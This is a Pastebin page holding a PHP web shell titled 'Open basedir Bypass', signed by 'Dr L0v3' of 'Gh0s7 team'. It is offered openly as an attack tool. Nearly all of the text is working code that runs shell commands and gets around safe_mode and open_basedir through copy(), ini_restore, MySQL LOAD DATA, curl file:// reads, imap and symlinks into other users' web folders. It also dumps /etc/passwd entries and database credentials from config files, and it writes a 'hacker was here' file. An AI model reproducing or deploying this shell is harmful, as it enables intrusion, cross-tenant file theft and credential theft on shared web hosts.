API tools faq
paste
Dr-L0v3

Openbasedir

Dr-L0v3
Jul 19th, 2015
542
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.54 KB | None | 0 0
raw download clone embed print report
  1. <?php error_reporting(0);
  2. set_magic_quotes_runtime(0);
  3. if (version_compare(phpversion(), '4.1.0') == - 1) {
  4.     $_POST = & $HTTP_POST_VARS;
  5.     $_GET = & $HTTP_GET_VARS;
  6.     $_SERVER = & $HTTP_SERVER_VARS;
  7. }
  8. function inclink($link, $val) {
  9.     $requ = $_SERVER["REQUEST_URI"];
  10.     if (strstr($requ, $link)) {
  11.         return preg_replace("/$link=[\d\w\W\D\S]*/", "$link=$val", $requ);
  12.     } elseif (strstr($requ, "showsc")) {
  13.         return preg_replace("/showsc=[\d\w\W\D\S]*/", "$link=$val", $requ);
  14.     } elseif (strstr($requ, "hlp")) {
  15.         return preg_replace("/hlp=[\d\w\W\D\S]*/", "$link=$val", $requ);
  16.     } elseif (strstr($requ, "?")) {
  17.         return $requ . "&" . $link . "=" . $val;
  18.     } else {
  19.         return $requ . "?" . $link . "=" . $val;
  20.     }
  21. }
  22. function delm($delmtxt) {
  23.     print "<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";
  24.     print "<tr><td><b><center><font size=2 color=#008080>$delmtxt</td></tr></table></center>";
  25. }
  26. function callfuncs($cmnd) {
  27.     if (function_exists(shell_exec)) {
  28.         $scmd = shell_exec($cmnd);
  29.         $nscmd = htmlspecialchars($scmd);
  30.         print $nscmd;
  31.     } elseif (!function_exists(shell_exec)) {
  32.         exec($cmnd, $ecmd);
  33.         $ecmd = join("
  34. ", $ecmd);
  35.         $necmd = htmlspecialchars($ecmd);
  36.         print $necmd;
  37.     } elseif (!function_exists(exec)) {
  38.         $pcmd = popen($cmnd, "r");
  39.         while (!feof($pcmd)) {
  40.             $res = htmlspecialchars(fgetc($pcmd));;
  41.             print $res;
  42.         }
  43.         pclose($pcmd);
  44.     } elseif (!function_exists(popen)) {
  45.         ob_start();
  46.         system($cmnd);
  47.         $sret = ob_get_contents();
  48.         ob_clean();
  49.         print htmlspecialchars($sret);
  50.     } elseif (!function_exists(system)) {
  51.         ob_start();
  52.         passthru($cmnd);
  53.         $pret = ob_get_contents();
  54.         ob_clean();
  55.         print htmlspecialchars($pret);
  56.     }
  57. }
  58. function input($type, $name, $value, $size) {
  59.     if (empty($value)) {
  60.         print "<input type=$type name=$name size=$size>";
  61.     } elseif (empty($name) && empty($size)) {
  62.         print "<input type=$type value=$value >";
  63.     } elseif (empty($size)) {
  64.         print "<input type=$type name=$name value=$value >";
  65.     } else {
  66.         print "<input type=$type name=$name value=$value size=$size >";
  67.     }
  68. }
  69. function permcol($path) {
  70.     if (is_writable($path)) {
  71.         print "<font color=#008080>";
  72.         callperms($path);
  73.         print "</font>";
  74.     } elseif (!is_readable($path) && !is_writable($path)) {
  75.         print "<font color=red>";
  76.         callperms($path);
  77.         print "</font>";
  78.     } else {
  79.         print "<font color=white>";
  80.         callperms($path);
  81.     }
  82. }
  83. if ($dlink == "dwld") {
  84.     download($_REQUEST['dwld']);
  85. }
  86. function download($dwfile) {
  87.     $size = filesize($dwfile);
  88.     @header("Content-Type: application/force-download;name=$dwfile");
  89.     @header("Content-Transfer-Encoding: binary");
  90.     @header("Content-Length: $size");
  91.     @header("Content-Disposition: attachment; filename=$dwfile");
  92.     @header("Expires: 0");
  93.     @header("Cache-Control: no-cache, must-revalidate");
  94.     @header("Pragma: no-cache");
  95.     @readfile($dwfile);
  96.     exit;
  97. }
  98. ?>
  99. <html>
  100. <head><title>Open basedir Bypass</title></head>
  101. <style>
  102. BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: #008080; }
  103. a{color:#dadada;text-decoration:none;font-family:tahoma;font-size:13px}
  104. a:hover{color:#008080}
  105. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 12px; color: #dadada; font-family: Tahoma; border: 1px solid #666666;height:17}
  106. textarea{background-color:#191919;color:#dadada;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1 solid #666666;}
  107. div{font-size:12px;font-family:tahoma;font-weight:normal;color:whitesmoke}
  108. select{background-color: #191919; font-size: 12px; color: #dadada; font-family: Tahoma; border: 1 solid #666666;font-weight:bold;}</style>
  109. <body bgcolor=black text=white><font face="sans ms" size=3>
  110. </body>
  111. </html>
  112. <?
  113. $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
  114. $sf="<form method=post>";$ef="</form>";
  115. $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
  116. $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
  117. $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
  118. $sta="<textarea cols=157 rows=23>";$eta="</textarea>";
  119. $sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
  120. ################# Editing By User ########################
  121. ///////////////////////////////
  122.                              //
  123. $mysql_use = "no"; //"yes"   //
  124. $mhost = "localhost";        //
  125. $muser = "root";             //
  126. $mpass = "pass";             //
  127. $mdb = "name";               //
  128. $them = "xxx"; //any site    //
  129. $you = "xx"; //your username //
  130. $flib = "hack15.txt";        //
  131. $folder = "hack15.txt";      //
  132. ///////////////////////////////
  133. ################# PhP Design (Start) ########################
  134. delm(": Php Dr L0v3 (Shell) :");
  135. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4>[ Php Dr.L0v3 ]::[ Owned By Gh0s7 ]
  136. </font></b></center>"; print"</td></tr>";print"</table>";print "<br>";
  137. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";
  138. print " - <a href='javascript:history.back()'>Back</a>";
  139. print "</td></tr></table>";
  140. echo "<br>";
  141. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  142. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  143. {
  144.  $safemode = true;
  145.  $hsafemode = "<font color=\"red\">ON (secure)</font>";
  146. }
  147. else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
  148. echo("Safe-mode: $hsafemode");
  149. print "</td></tr></table>";
  150. echo "<br>";
  151. ################# PhP Hacked ########################
  152.  
  153. // read file unzend sorce //
  154. if(empty($_POST['sorce'])){
  155. } else {
  156.  
  157. }
  158. // read file unzend functions //
  159.  if(empty($_POST['func'])){
  160. } else {
  161. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  162. $zeen=$_POST['func'];
  163. require("$zeen");
  164. echo "Database : ".$config['Database']['dbname']." <X> ";
  165. echo "UserName : ".$config['MasterServer']['username']." <X> ";
  166. echo "Password : ".$config['MasterServer']['password']." <X> ";
  167. echo "</textarea></p>";
  168. }// read file symlink ( ) //
  169. if(empty($_POST['sym'])){
  170. } else {
  171. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  172. $fp = fopen("hack15.txt","w+");
  173. fwrite($fp,"Php Hacker Was Here");
  174. @unlink($flib);
  175. $sym = "/home/" . $them . "/public_html/" . $k;
  176. $link = "/home/"  . $you . "/public_html/" . $folder . "/" . $flib;
  177. @symlink($sym, $link);
  178. if ($k{0} == "/") {
  179. echo "<script> window.location = '" . $flib . "'</script>";
  180. }else{
  181. echo "<pre><xmp>";
  182. echo readlink($flib) . "
  183. ";
  184. echo "Filesize: " . linkinfo($flib) . "B
  185.  
  186. ";
  187. echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib);
  188.   echo "</textarea>";
  189. }
  190. }
  191.  
  192. // read file plugin ( ) //
  193. if(empty($_POST['plugin'])){
  194. } else {
  195. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  196. for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  197.  $ara = posix_getpwuid($uid);
  198.   if (!empty($ara)) {
  199.        while (list ($key, $val) = each($ara)){
  200.         print "$val:";
  201.   }
  202.   print "
  203. ";
  204.      }
  205.   }
  206.   echo "</textarea>";
  207. }
  208. // read file id ( ) //
  209. if ($_POST['rid'] ){
  210. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  211.  for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  212. $ara = posix_getpwuid($uid);
  213.  if (!empty($ara)) {
  214. while (list ($key, $val) = each($ara)){
  215. print "$val:";
  216. }
  217.  print "
  218. ";
  219. }
  220.  }
  221. echo "</textarea>";
  222. break;
  223.  
  224.  }
  225. // read file imap ( ) //
  226. $string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0;
  227. if(empty($_POST['rimap'])){
  228. } else {
  229. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  230. $stream = imap_open($string, "", "");
  231. $str = imap_body($stream, 1);
  232. echo "</textarea>";
  233. }
  234. // read file Curl ( ) //
  235. if(empty($_POST['curl'])){
  236. } else {
  237. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  238. $m=$_POST['curl'];
  239. $ch =
  240. curl_init("file:///".$m." /../../../../../../../../../../../../".__FILE__);
  241. curl_exec($ch);
  242. var_dump(curl_exec($ch));
  243. echo "</textarea>";
  244. }
  245.  
  246. // read file SQL ( ) //
  247. if(empty($_POST['ssql'])){
  248. } else {
  249. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  250. $file=$_POST['ssql'];
  251.  
  252.  
  253. $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  254. $mysql_files = explode(':', $mysql_files_str);
  255.  
  256. $sql = array (
  257. "USE $mdb",
  258. 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  259. "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  260. . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  261. . "ESCAPED BY          '' "
  262. . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  263.  
  264. "SELECT a FROM $tbl LIMIT 1"
  265. );
  266. mysql_connect ($mhost, $muser, $mpass);
  267.  
  268. foreach ($sql as $statement) {
  269.    $q = mysql_query ($statement);
  270.  
  271.    if ($q == false) die (
  272.       "FAILED: " . $statement . "
  273. " .
  274.       "REASON: " . mysql_error () . "
  275. "
  276.    );
  277.  
  278.    if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  279.  
  280.    echo htmlspecialchars($r[0]);
  281.    mysql_free_result ($q);
  282. }
  283. echo "</textarea>";
  284. }
  285.  
  286.  
  287.  
  288. // read file copy & ini ( ) //
  289. if (isset ($_REQUEST['safefile'])){
  290. $file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
  291. if(empty($_GET['file'])){if(empty($_POST['file'])){
  292. print "<center>[ Please choose a file first to read it using copy() ]</center>";
  293. } else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
  294. $temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
  295. $zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));
  296. fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
  297. print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
  298. </CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){
  299. ini_restore("safe_mode");ini_restore("open_basedir");
  300. print "<center><pre>".$sta;
  301. if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!!";}print $eta."</pre></center>";}
  302. delm(": Safe mode bypass :");
  303. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  304. print "<tr><td width=50%><div align=left>";
  305. print $st.$c1."<div><b><center>Using copy() function</div>";
  306. print $ec.$c2.$sf."&nbsp;";
  307. input("text","safefile",$nscdir,75);
  308. input("hidden","scdir",$nscdir,0);print " ";
  309. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  310. print "</td><td height=20% width=50%><div align=right>";
  311. print $st.$c1."<div><b><center>Using ini_restore() function</div>";
  312. print $ec.$c2.$sf."&nbsp;";
  313. input("text","inifile",$nscdir,75);
  314. input("hidden","scdir",$nscdir,0);print " ";
  315. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  316. print "</td></tr></table>";
  317. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  318. print "<tr><td width=50%><div align=left>";
  319. print $st.$c1."<div><b><center>Using sql() function</div>";
  320. print $ec.$c2.$sf."&nbsp;";
  321. input("text","ssql",$nscdir,75);
  322. input("hidden","scdir",$nscdir,0);print " ";
  323. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  324. print "</td><td height=20% width=50%><div align=right>";
  325. print $st.$c1."<div><b><center>Using Curl() function</div>";
  326. print $ec.$c2.$sf."&nbsp;";
  327. input("text","curl",$nscdir,75);
  328. input("hidden","scdir",$nscdir,0);print " ";
  329. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  330. print "</td></tr></table>";
  331. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  332. print "<tr><td width=50%><div align=left>";
  333. print $st.$c1."<div><b><center>Using imap() function</div>";
  334. print $ec.$c2.$sf."&nbsp;";
  335. input("text","rimap",$nscdir,75);
  336. input("hidden","scdir",$nscdir,0);print " ";
  337. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  338. print "</td><td height=20% width=50%><div align=right>";
  339. print $st.$c1."<div><b><center>Using id() function</div>";
  340. print $ec.$c2.$sf."&nbsp;";
  341. input("text","rid",$nscdir,75);
  342. input("hidden","scdir",$nscdir,0);print " ";
  343. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  344. print "</td></tr></table>";
  345. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  346. print "<tr><td width=50%><div align=left>";
  347. print $st.$c1."<div><b><center>Using plugin() function</div>";
  348. print $ec.$c2.$sf."&nbsp;";
  349. input("text","plugin",$nscdir,75);
  350. input("hidden","scdir",$nscdir,0);print " ";
  351. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  352. print "</td><td height=20% width=50%><div align=right>";
  353. print $st.$c1."<div><b><center>Using symlink() function</div>";
  354. print $ec.$c2.$sf."&nbsp;";
  355. input("text","sym",$nscdir,75);
  356. input("hidden","scdir",$nscdir,0);print " ";
  357. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  358. print "</td></tr></table>";
  359. delm(": Unzend Config :");
  360. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  361. print "<tr><td width=50%><div align=left>";
  362. print $st.$c1."<div><b><center>Connect To Functions Of Config</div>";
  363. print $ec.$c2.$sf."&nbsp;";
  364. input("text","func",$nscdir,75);
  365. input("hidden","scdir",$nscdir,0);print " ";
  366. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  367. print "</td></tr></table>";
  368. ?><?
  369. print "<br><table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";
  370. print"<tr><td><font size=2 face=tahoma>";
  371. print"<center>By Dr L0v3 <br>[ Gh0s7 734m ]";
  372. print"</font></td></tr></table>";
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!